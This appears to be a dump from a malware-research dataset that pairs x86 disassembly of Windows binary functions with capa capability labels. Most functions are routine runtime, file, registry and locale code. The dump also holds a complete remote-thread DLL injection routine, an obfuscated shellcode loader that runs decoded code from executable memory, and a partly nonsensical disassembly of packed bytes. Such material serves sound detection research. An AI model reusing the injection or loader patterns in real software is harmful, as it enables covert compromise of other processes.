joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423d0e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov dword [ebp - 0x14], ecx
xor esi, esi
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
call fcn.0041ef35
push 0x13c
call fcn.00428bd9
cmp eax, esi
pop ecx
je 0x423d59
push 0x1a
lea esi, [eax + 4]
pop ecx
mov edi, esi
mov dword [eax], ecx
mov ebx, ecx
mov ecx, edi
call fcn.0041ef35
add edi, 0xc
dec ebx
jne 0x423d45
mov dword [ebp - 8], esi
xor esi, esi
jmp 0x423d5c
mov dword [ebp - 8], esi
cmp dword [ebp - 8], esi
je 0x423d7a
push esi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
call esi
mov ebx, eax
push ebx
call fcn.00428bd9
mov edi, eax
pop ecx
test edi, edi
jne 0x423d85
inc dword [0x482748]
jmp 0x423f2b
push edi
push ebx
call esi
push str._HD_space_placeholder_
lea ecx, [ebp - 0x4c]
mov esi, edi
call fcn.0041efa5
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x4c]
push eax
call fcn.00422686
cmp byte [edi], 0
je 0x423e77
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push esi
call fcn.0041f0d8
mov ecx, dword [ebp - 4]
call fcn.0041ff07
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x423e5d
inc dword [ebp - 0xc]
push str.
lea ecx, [ebp - 0x28]
call fcn.0041f0d8
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.0041f28b
push 9
lea ecx, [ebp - 0x28]
call fcn.0041f1be
mov ecx, dword [ebp - 4]
push 1
call fcn.0041ff07
push eax
call fcn.0040f179
mov ebx, edx
pop ecx
cmp ebx, dword [0x482b14]
pop ecx
mov dword [ebp - 0x1c], eax
ja 0x423e25
jb 0x423e22
cmp eax, dword [0x482b10]
jae 0x423e25
inc dword [ebp - 0x10]
lea ecx, [ebp - 0x34]
call fcn.0041ef35
lea eax, [ebp - 0x34]
push eax
push ebx
push dword [ebp - 0x1c]
call fcn.00420c4f
add esp, 0xc
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x28]
push eax
call fcn.0041f28b
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
push eax
call fcn.00422686
lea ecx, [ebp - 0x34]
call fcn.0041f06b
add dword [ebp - 4], 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esi + eax + 1], 0
lea esi, [esi + eax + 1]
jne 0x423db3
push edi
call fcn.00428bce
pop ecx
mov ecx, dword [ebp - 8]
push 3
call fcn.0041bd53
push 0x482f24
lea ecx, [ebp - 0x28]
call fcn.0041f146
xor esi, esi
lea ecx, [ebp - 0x28]
push esi
push 0x431d7c
call fcn.0041f20d
lea ecx, [ebp - 0x40]
call fcn.0041ef35
lea eax, [ebp - 0x40]
push eax
push dword [0x482b14]
push dword [0x482b10]
call fcn.00420c4f
add esp, 0xc
lea eax, [ebp - 0x40]
lea ecx, [ebp - 0x28]
push eax
call fcn.0041f28b
push 9
lea ecx, [ebp - 0x28]
call fcn.0041f1be
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x10], eax
jne 0x423ef0
inc dword [0x482740]
push 0x482dbc
jmp 0x423ef5
push 0x482dd4
lea ecx, [ebp - 0x28]
call fcn.0041f28b
push 1
push esi
push esi
lea ecx, [ebp - 0x28]
call fcn.0041ff07
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ff07
mov ecx, dword [ebp - 0x14]
push eax
call fcn.0041fdd7
lea ecx, [ebp - 0x40]
call fcn.0041f06b
lea ecx, [ebp - 0x4c]
call fcn.0041f06b
lea ecx, [ebp - 0x28]
call fcn.0041f06b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42aadd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x432330
cmp edx, dword [eax]
je 0x42aaff
add eax, 8
inc ecx
cmp eax, 0x4323c0
jl 0x42aaf0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x432330]
jne 0x42ac2d
mov eax, dword [0x48395c]
cmp eax, 1
je 0x42ac07
test eax, eax
jne 0x42ab30
cmp dword [0x432078], 1
je 0x42ac07
cmp edx, 0xfc
je 0x42ac2d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x42ab67
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00429080
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00428770
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x42abaa
lea eax, [ebp - 0x1a4]
push eax
call fcn.00428770
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x42cb64
push edi
call fcn.0042b560
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00429080
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00429090
lea eax, [ebp - 0xa0]
push 0x42cb44
push eax
call fcn.00429090
push dword [esi + 0x432334]
lea eax, [ebp - 0xa0]
push eax
call fcn.00429090
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0042b4d0
add esp, 0x2c
pop edi
jmp 0x42ac2d
lea eax, [ebp + 8]
lea esi, [esi + 0x432334]
push 0
push eax
push dword [esi]
call fcn.00428770
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1001a633
Capabilities:
Encrypt data using rc4 prga

Disassembly:
out dx, eax
or cl, byte [ecx]
cmp eax, ebp
inc ebp
lodsd eax, dword [esi]
retf 0x45c8
inc esp
push esi
mov esi, 0x9c158759
add ecx, dword [ebp - 0x4d2bdd45]
fnstcw word [esi]
cdq
or esi, dword [edx - 0x40]
mov dh, 0x8f
jb 0x1001a5e1
or byte [esi], 0xe9
inc esp
dec esi
daa
test al, 0x65
das
fisubr word [0xe3e5ab7f]
jl 0x1001a626
lodsb al, byte [esi]
jecxz 0x1001a642
fmul st(7), st(0)
stosd dword es:[edi], eax
mov eax, dword [0x5a1b3598]
in eax, 0xed
mov al, 0xc5
mov esi, 0x876f82eb
outsd dx, dword [esi]
xchg ebx, esp
invalid
sub byte [edi - 0x79], 0xe3
add cl, byte [esi + 0x1e1fc25d]
mov edi, 0xa5dbe579
cli
in al, dx
scasd eax, dword es:[edi]
test dword [eax + 0x48], edi
pop esp
dec edi
dec edx
and al, 0xff
add ebp, ebx
xor dh, bh
cmpsb byte [esi], byte es:[edi]
jb 0x1001a673
jg 0x1001a66b
push esp
dec esp
loopne 0x1001a666
jge 0x1001a662
add byte [eax], cl
test edi, edi
jne 0x1001a6c3
push esi
call fcn.1001a592
pop ecx
mov esi, eax
jmp 0x1001a6f3
lea eax, [ebp - 0x28]
push eax
push edi
call fcn.1001a633
pop ecx
pop ecx
test eax, eax
jne 0x1001a6f0
mov eax, dword [edi + 0xc]
nop
shr eax, 0xb
test al, 1
je 0x1001a6f3
push edi
call fcn.1001f1bd
push eax
call fcn.10024e3a
pop ecx
pop ecx
test eax, eax
je 0x1001a6f3
or esi, 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10016700
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x104c6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.104c61a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x104c607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104c606a
add dl, dl
jne 0x104c6089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104c60dc
xor eax, eax
add dl, dl
jne 0x104c6096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104c617d
add dl, dl
jne 0x104c60a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104c60b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104c60bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104c60c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104c60d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x104c6075
mov eax, 1
add dl, dl
jne 0x104c60ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104c60f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104c60e1
sub eax, ebx
mov ebx, 1
jne 0x104c6128
mov ecx, 1
add dl, dl
jne 0x104c610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104c6119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104c6105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104c6075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x104c613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104c614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104c6136
cmp eax, 0x7d00
jae 0x104c616d
cmp eax, 0x500
jb 0x104c6168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104c6075
cmp eax, 0x7f
ja 0x104c6170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104c6075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x104c619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x104c6075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x659017cb
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x659018c4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x65901927
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x659019e9
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6590195c
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x659019e9
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x65901986
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x659019e9
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x659019cd
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x659019e9
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x65901fc0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6590603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x65906034]
sub esp, 4
test ebx, ebx
je 0x6590200b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x65902004
test esi, esi
je 0x65902004
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x65901fe0
mov dword [esp], 0x6590603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x659021f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x659042d4
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x65902240
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x65902318
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6590227e
cmp eax, 4
jne 0x659022a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6590228e
cmp edx, 4
je 0x6590228e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.659021f0
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40288e
pop dword [ebp - 0x18]
mov eax, 0x6e6a5353
add eax, 0x91d5d53b
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xc6b18ddb
add dword [ebp - 0x28], 0x87a0b770
mov dword [ebp - 0x24], 0x264d9a02
sub dword [ebp - 0x24], 0xf41a4dbd
mov dword [ebp - 0x20], 0xe88da4b6
sub dword [ebp - 0x20], 0x9c416088
mov dword [ebp - 0x1c], 0x680a58af
sub dword [ebp - 0x1c], 0x680a58af
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x12a93360
sub dword [ebp - 0x28], 0x9e36ca0a
mov dword [ebp - 0x24], 0x5e797da
sub dword [ebp - 0x24], 0xc47b3665
mov dword [ebp - 0x20], 0x9dee7b2
sub dword [ebp - 0x20], 0xa66f7b46
mov dword [ebp - 0x1c], 0xcad18c4f
sub dword [ebp - 0x1c], 0xcad18c4f
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x3bb8a219
add eax, 0xc487ce8f
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x33876
push 0
call eax
mov ecx, 0xddc88770
sub ecx, 0xddc84bb5
xor edi, edi
add edi, eax
mov ebx, 0xe9c0a891
add ebx, 0x1680576f
add ebx, dword [ebp - 0x18]
mov edx, 0xe542461c
xor dword [ebp - 4], 0x75ca789e
mov esi, dword [ebx]
xor dword [ebp - 8], ecx
add esi, edx
mov dword [edi], esi
mov dword [ebp - 8], 0xe2de7138
add edi, 0x42756595
sub edi, 0x42756591
add ebx, 0x44ed15b9
add ebx, 0xbb12ea4b
loop 0x4029a7
add eax, 0x6874b841
add eax, 0x978c297e
xor ebx, ebx
add ebx, eax
add eax, 0xefa61ec6
add eax, 0x1059e13f
mov ecx, 0xb3e5b55d
sub ecx, 0xb3a5b55d
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x4038a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46c020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403938
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403918
xor eax, eax
push ebp
push 0x403911
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403954
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403918
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x46c020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46c020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404644
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46e04c], 0
je 0x4046a5
cmp word [0x46e220], 0xd7b2
jne 0x40466d
cmp dword [0x46e228], 0
jbe 0x40466d
mov eax, 0x46e21c
call dword [0x46e238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46c090
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4046cc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46c030], 0
jne 0x4046c1
push 0
push 0x46c088
push 0x46c090
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406730
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406796
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404a38
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403464
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406780
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40679d
lea eax, [ebp - 0x10]
call fcn.004047c8
ret

Function at 0x409248
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404c88
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409261
test al, 0x10
jne 0x409265
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40bdb8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bdf1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004048b8
jmp 0x40bdfa
mov eax, ebx
mov edx, esi
call fcn.0040481c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40be04
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40be25
mov al, byte [esp]
jmp 0x40be27
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c4bc
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c324
mov eax, dword [0x46d2cc]
cmp byte [eax], 0
je 0x40c538
mov eax, dword [0x46d0c8]
call fcn.004030ac
call fcn.00402c54
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409560
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c580
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c56e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x46d070]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x46e668]
call fcn.00405b9c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40ce30
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cf06
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404860
lea eax, [ebp - 8]
call fcn.00404cd8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404c88
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40cef0
mov eax, ebx
call fcn.00402ac8
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cee9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404c88
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40ced3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cf18
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40ced3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cef0
mov eax, dword [ebp - 0x10]
call fcn.00402af8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cf0d
lea eax, [ebp - 8]
call fcn.004047c8
ret

Function at 0x40d4ec
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d550
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404a38
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408ea8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d557
lea eax, [ebp - 0xc]
call fcn.004047c8
ret